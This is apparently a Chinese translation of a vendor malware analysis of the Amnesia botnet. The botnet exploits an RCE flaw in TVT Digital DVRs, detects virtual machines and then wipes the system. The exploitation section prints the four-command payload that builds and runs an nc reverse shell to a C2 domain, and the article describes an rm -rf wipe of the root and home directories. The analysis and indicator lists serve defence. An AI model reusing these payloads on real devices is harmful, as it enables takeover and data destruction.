日前,由42位安全研究人员共同确定披露了关于此前基于IoT/Linux的‘Tsunami’僵尸网络新变体Amnesia。Amnesia僵尸网络是一种目前发现的较新的僵尸网络,它允许攻击者利用未修补的远程代码执行漏洞攻击其硬盘录像机( DVR )设备。早在去年3月份,该漏洞就已被安全研究人员在TVT Digital制造的DVR(硬盘录像机)设备中被发现,并波及了全球70多家的供应商品牌。根据我们的扫描数据显示(图1),全球有超过22.7万台设备受此影响,而台湾、美国、以色列、土耳其和印度为主要分布区。
图1:存在漏洞的TVT Digital DVR全球分布情况
此外安全人员认为,Amnesia恶意软件是第一个采用虚拟机逃逸技术躲避沙箱的Linux恶意软件。虚拟机逃逸技术通常与 Windows 或安卓恶意软件相关联。如果僵尸网络 Amnesia 运行于 VirtualBox、VMware 或 QEMU 虚拟机中,它将通过删除文件系统中的所有文件去除虚拟化 Linux 系统。据悉,这不仅影响 Linux 恶意软件分析沙箱的正常运行,还会导致 Linux 服务器出现异常。
Amnesia会通过扫描发现并定位那些易受攻击的系统,并利用其存在的远程代码执行漏洞实施攻击。一旦成功,Amnesia将能够完全控制目标设备。攻击者还可能会利用Amnesia僵尸网络,发起类似于2016的大规模Mirai僵尸网络的攻击活动。
尽管该漏洞早在一年前就被安全人员披露,但在当时并未引起供应商们的注意,因此问题也一直未得到有效解决!
虽然目前来看,Amnesia僵尸网络并未被用于进行大规模的攻击活动。但是去年的Mirai僵尸网络攻击,已经让我们看到了它的潜在威胁。Palo?Alto?Networks建议,所有客户应该做好最新的安全防护措施,并尽可能的阻止流量到Amnesia指令。
技术细节
漏洞详情
2016年3月22日,安全研究员Rotem Kerner向公众披露了该漏洞。他在他的博客中写道,全球有70多家DVR厂商受此影响。而所有DVR设备,则都是由同一家公司“TVT Digital”所制造。到目前为止,我们一直未得到供应商或制造商的回复及漏洞修复补丁。
另外,通过“跨网络服务器”的指纹我们发现了,全球范围内有超过22.7万台曝露在互联网上的设备,可能为TVT Digital公司生产。我们还分别使用了Shodan.io和Censys.io上的关键字进行了搜索,它们分别报告了大约50,000和约705,000个相关IP地址。
表1列出了前20位潜在易受 TVT Digital DVR设备漏洞影响的国家:
1. | Taiwan | 47170 |
---|---|---|
2. | United States | 44179 |
3. | Israel | 23355 |
4. | Turkey | 11780 |
5. | India | 9796 |
6. | Malaysia | 9178 |
7. | Mexico | 7868 |
8. | Italy | 7439 |
9. | Vietnam | 6736 |
10. | United Kingdom | 4402 |
11. | Russia | 3571 |
12. | Hungary | 3529 |
13. | France | 3165 |
14. | Bulgaria | 3040 |
15. | Romania | 2783 |
16. | Colombia | 2616 |
17. | Egypt | 2541 |
18. | Canada | 2491 |
19. | Iran | 1965 |
20. | Argentina | 1748 |
漏洞利用与传播
Amnesia使用IRC协议与其C2服务器建立通信。图2显示了一些旨在接收的命令,包括通过不同类型的HTTP泛洪和UDP泛洪来执行DDoS攻击。
图2:Amnesia C2命令
除了这些命令外,它还会执行另外两个命令:CCTVSCANNER和CCTVPROCS。这些命令用于扫描和利用 TVT Digital DVR中的RCE漏洞。收到命令后,Amnesia将首先对该命令附带的IP地址进行简单的HTTP请求,检查目标是否为易受攻击的DVR设备。这里主要通过搜索HTTP响应内容中的特殊字符串“Cross Web Server”来完成,如图3所示,TVT Digital DVR使用该字符串作为其HTTP头中的服务器名。
图3:检查目标是否为易受攻击DVR
如果Amnesia检测发现了易受攻击的DVR设备,那么Amnesia将会向目标再次发送四个HTTP请求,其中包含四个不同Shell命令的exploit有效载荷。命令如下:
- echo “nc” > f
- echo “{one_of_c2_domains}” >> f
- echo “8888 –e $SHELL” >> f
- $(cat f) & > r
这些命令将会创建一个shell脚本,并执行它。该脚本主要作用是与某台Amnesia C2服务器建立连接,并获取系统默认的shell权限。一旦被成功获取,C2服务器将会继续向目标系统发送更多的恶意shell指令,如图4所示:
图4:RCE漏洞利用
反取证
当Amnesia样本被执行后,它会第一时间读取/sys/class/dmi/id/product_name 和 /sys/class/dmi/id/sys_vendor文件(这两个文件被Linux DMI用于存储硬件的产品和制造商信息),并通过匹配关键字“VirtualBox “,”VMware“和”QEMU“,来确定目标系统是否运行于虚拟机中,如图5所示。
图5:检查DMI文件判断是否为VM
如果检测到为虚拟机,Amnesia将自动自我删除,并尝试删除以下所有目录:
- Linux根目录”/”,
- 当前用户的主目录“~/”,和
- 当前工作目录“./”
这些删除操作,基本上是等同于擦除整个Linux系统。完成这些操作,只需通过简单的shell命令“rm -rf”就能完成,如图6所示。“rm”命令将会对每个目录执行两次 – 一个在后台,一个在前台。因此,以上三个目录将会同时被删除,Amnesia将等待删除完成。
图6:擦除Linux系统
我们认为,Amnesia的作者之所以这么做是为了躲避基于Linux的恶意软件分析沙箱,并为安全人员后续的取证调查制造麻烦。然而,基于虚拟机的沙箱通都常启用了系统快照,允许快速恢复到原始状态(样本分析任务可能会被破坏),这在一定程度上减少了影响。但真正的问题在于,一旦Amnesia感染了一些基于QEMU的Linux服务器实例(如VPS供应商提供的虚拟主机),那么Linux服务器也将被擦除,如果备份不可用,这将会带来灾难性的损失及影响。
在进行初步的系统环境判断后,Amnesia会根据当前用户的权限,在/etc/init.d/.rebootime和/etc/cron.daily/.reboottime或?/ .bashrc和?/ .bash_history中,创建持久性文件。然后,它会杀死所有与Telnet和SSH相关的进程,并与C2服务器建立连接,以接收进一步的操作指令。
Amnesia硬编码了三个域名,如“irc.freenode.net”被作为诱饵C2服务器地址。然而真正的C2服务器配置则在运行时,由凯撒密码算法进行解密。并从以下三个服务器间进行选择:
- ukranianhorseriding[.]net
- surrealzxc.co[.]za
- inversefierceapplied[.]pw
以上这三个域名从2016年12月1日起,已经全部被解析为一个相同的IP地址:93.174.95 [.] 38。在此之前,该IP地址也曾被用于托管其他的IoT/Linux恶意软件,如DropPerl。
总结
从Amnesia僵尸网络的样本分析中,我们得出了一些关于IoT/Linux恶意软件的有趣的结论和发展趋势:
- IoT/Linux恶意软件开始采用经典技术,来躲避沙箱恶意软件检测和反调查(擦除虚拟机)。
- IoT/Linux恶意软件将目标对准那些,存在已知的远程代码执行漏洞的IoT设备。这些设备通常由较小的制造商制造,并且可能无法提供修复补丁。
- IoT/Linux恶意软件,也可能影响部署在VPS或公共云中的Linux服务器。
由于Amnesia恶意软件依赖于硬编码的C2地址,因此如果我们对这些地址进行封杀,则会在一定程度上让我们免于,未来可能发生的僵尸网络攻击。
防护
Palo Alto Networks已经通过PAN-DB和威胁防御方案,来阻止该恶意软件用于命令执行和控制的域。
C2域和IP地址:
- ukranianhorseriding[.]net
- surrealzxc.co[.]za
- inversefierceapplied[.]pw
- 93.174.95[.]38
Amnesia样本 SHA-256
06d30ba7c96dcaa87ac584c59748708205e813a4dffa7568c1befa52ae5f0374
10aa7b3863f34d340f960b89e64319186b6ffb5d2f86bf0da3f05e7dbc5d9653
175fe89bbc8e44d45f4d86e0d96288e1e868524efa260ff07cb63194d04ea575
1d8bc81acbba0fc56605f60f5a47743491d48dab43b97a40d4a7f6c21caca12a
2f9cd1d07c535aae41d5eed1f8851855b95b5b38fb6fe139b5f1ce43ed22df22
327f24121d25ca818cf8414c1cc704c3004ae63a65a9128e283d64be03cdd42e
37b2b33a8e344efcaca0abe56c6163ae64026ccef65278b232a9170ada1972af
3a595e7cc8e32071781e36bbbb680d8578ea307404ec07e3a78a030574da8f96
4313af898c5e15a68616f8c40e8c7408f39e0996a9e4cc3e22e27e7aeb2f8d54
46ea20e3cf34d1d4cdfd797632c47396d9bdc568a75d550d208b91caa7d43a9b
4b0feb1dd459ade96297b361c69690ff69e97ca6ee5710c3dc6a030261ba69e0
4db9924decd3e578a6b7ed7476e499f8ed792202499b360204d6f5b807f881b8
5e6896b39c57d9609dc1285929b746b06e070886809692a4ac37f9e1b53b250c
64f03fff3ed6206337332a05ab9a84282f85a105432a3792e20711b920124707
6b2885a4f8c9d84e5dc49830abf7b1edbf1b458d8b9d2bafb680370106f93bc3
6b29b65c3886b6734df788cfc6628fbee4ce8921e3c0e8fc017e4dea2da0fd0b
885dce73237c4d7b4d481460baffbd5694ab671197e8c285d53b551f893d6c09
886136558ec806da5e70369ee22631bfb7fa06c27d16c987b6f6680423bc84b0
8f57ec9dfba8cf181a723a6ac2f5a7f50b4550dd33a34637cf0f302c43fd0243
9351ee0364bdbb5b2ff7825699e1b1ee319b600ea0726fd9bb56d0bd6c6670cb
9c7a5239601a361b67b1aa3f19b462fd894402846f635550a1d63bee75eab0a2
a010bf82e2c32cba896e04ec8dbff58e32eee9391f6986ab22c612165dad36a0
ad65c9937a376d9a53168e197d142eb27f04409432c387920c2ecfd7a0b941c8
aeb480cf01696b7563580b77605558f9474c34d323b05e5e47bf43ff16b67d6a
b113ec41cc2fd9be9ac712410b9fd3854d7d5ad2dcaac33af2701102382d5815
b13014435108b34bb7cbcef75c4ef00429b440a2adf22976c31a1645af531252
b3d0d0e2144bd1ddd27843ef65a2fce382f6d590a8fee286fda49f8074711545
bdefa773e3f09cdc409f03a09a3982f917a0cc656b306f0ece3dd1a2564a8772
c03b403d5de9778a2ec5949d869281f13976c2fc5b071e0f5f54277680c80902
cb2382b818993ef6b8c738618cc74a39ecab243302e13fdddb02943d5ba79483
ce61dcfc3419ddef25e61b6d30da643a1213aa725d579221f7c2edef40ca2db3
d0bda184dfa31018fe999dfd9e1f99ca0ef502296c2cccf454dde30e5d3a9df9
e7d6b3e1fba8cdf2f490031e8eb24cd515a30808cdd4aa15c2a41aa0016f8082
eb54dc959b3cc03fbd285cef9300c3cd2b7fe86b4adeb5ca7b098f90abb55b8a
f23fecbb7386a2aa096819d857a48b853095a86c011d454da1fb8e862f2b4583
f6af2fa4f987df773d37d9bb44841a720817ce3817dbf1e983650b5af9295a16
f7a737cb73802d54f7758afe4f9d0a7d2ea7fda4240904c0a79abae732605729
f7cf1e0d7756d1874630d0d697c3b0f3df0632500cff1845b6308b11059deb07
f97848514b63e9d655a5d554e62f9e102eb477c5767638eeec9efd5c6ad443d8
*参考来源 :paloaltonetworks,FB小编 secist 编译,转载请注明来自FreeBuf(FreeBuf.COM)